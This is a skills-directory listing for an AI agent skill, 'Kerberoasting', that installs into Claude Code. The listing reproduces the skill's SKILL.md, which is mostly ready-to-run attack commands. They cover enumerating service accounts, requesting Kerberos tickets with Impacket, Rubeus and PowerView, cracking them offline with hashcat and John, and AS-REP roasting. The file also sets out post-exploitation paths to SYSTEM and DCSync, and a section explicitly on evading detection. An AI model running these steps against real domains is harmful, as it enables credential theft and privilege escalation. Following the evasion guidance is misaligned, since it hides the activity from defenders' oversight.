Skip to content
Back to skills

Kerberoasting

ASecurity

Kerberoasting expert methodology — request TGS tickets for SPN-registered service accounts, extract, and crack offline. Covers enumeration, targeted attacks, AS-REP roasting, and detection evasion.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentsgoshellbashsqlgit

Security analysis

A100/100

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill kerberoasting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Kerberoasting?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Kerberoasting
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-kerberoasting/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-kerberoasting)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: kerberoasting
description: Kerberoasting expert methodology — request TGS tickets for SPN-registered service accounts, extract, and crack offline. Covers enumeration, targeted attacks, AS-REP roasting, and detection evasion.
version: 1.0.0
license: Apache-2.0
---

# Kerberoasting

## Attack Surface

Any domain-joined Windows environment where service accounts have Service Principal Names (SPNs) registered. Requires: valid domain credentials (any user). Service accounts often have weak passwords set long ago and rarely rotated.

## Methodology

### Phase 1 — Enumerate SPNs

```powershell
# Native PowerShell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
  Select-Object SamAccountName, ServicePrincipalName | Format-List

# setspn (built-in)
setspn -T domain.local -Q */*

# LDAP query
([ADSISearcher]'(&(objectClass=user)(servicePrincipalName=*))').FindAll() |
  ForEach-Object { $_.Properties['samaccountname'] }
```

Target high-value accounts: svc_sql, svc_exchange, svc_backup, svc_iis, Administrator (if SPN set).

### Phase 2 — Request TGS tickets

**Impacket (Linux):**
```bash
impacket-GetUserSPNs domain.local/user:password -dc-ip 10.0.0.1 -request
impacket-GetUserSPNs domain.local/user:password -dc-ip 10.0.0.1 -request -outputfile hashes.txt
```

**Rubeus (Windows, from domain-joined host):**
```powershell
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt  # targeted
.\Rubeus.exe kerberoast /rc4opsec  # request only RC4 tickets (avoids AES logging)
```

**PowerView:**
```powershell
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat HashCat | Select-Object Hash | Out-File hashes.txt
```

### Phase 3 — Offline cracking

```bash
# Hashcat — mode 13100 for RC4 (etype 23), 19600/19700 for AES
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# Custom rules for service account patterns
hashcat -m 13100 hashes.txt -a 3 ?u?l?l?l?d?d?d?d  # ServicePass2019 pattern

# John the Ripper
john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
```

### Phase 4 — AS-REP Roasting (no Kerberos pre-auth accounts)

```bash
# Enumerate accounts with pre-auth disabled
impacket-GetNPUsers domain.local/ -dc-ip 10.0.0.1 -no-pass -usersfile users.txt

# Single user
impacket-GetNPUsers domain.local/target_user -dc-ip 10.0.0.1 -no-pass -format hashcat

# Crack AS-REP hash (mode 18200)
hashcat -m 18200 asrep_hashes.txt rockyou.txt
```

### Phase 5 — Post-exploitation

```powershell
# With cracked service account credentials:
# Check privileges
net user svc_sql /domain
whoami /groups (after psexec/runas)

# Common paths:
# svc_sql → SQL Server access → xp_cmdshell → SYSTEM
# svc_exchange → Exchange admin → email access → credential harvesting
# SPN on computer account → machine account compromise → DCSync if high-priv
```

## Detection Evasion

- Request only RC4 tickets (`/rc4opsec` in Rubeus) — AES requests are more suspicious in modern domains
- Spread requests over time — don't request all SPNs simultaneously
- Use legitimate tools (PowerShell ADSI) vs. offensive tooling for initial enum
- Target single high-value accounts rather than mass enumeration

## Tools

- [Rubeus](https://github.com/GhostPack/Rubeus) — Windows, in-memory
- [Impacket GetUserSPNs](https://github.com/SecureAuthCorp/impacket) — Linux/Mac
- [PowerView](https://github.com/PowerShellMafia/PowerSploit) — enumeration
- Hashcat / John the Ripper — cracking
- [BloodHound](https://github.com/BloodHoundAD/BloodHound) — identify high-value targets first

## MITRE ATT&CK Mapping

- T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.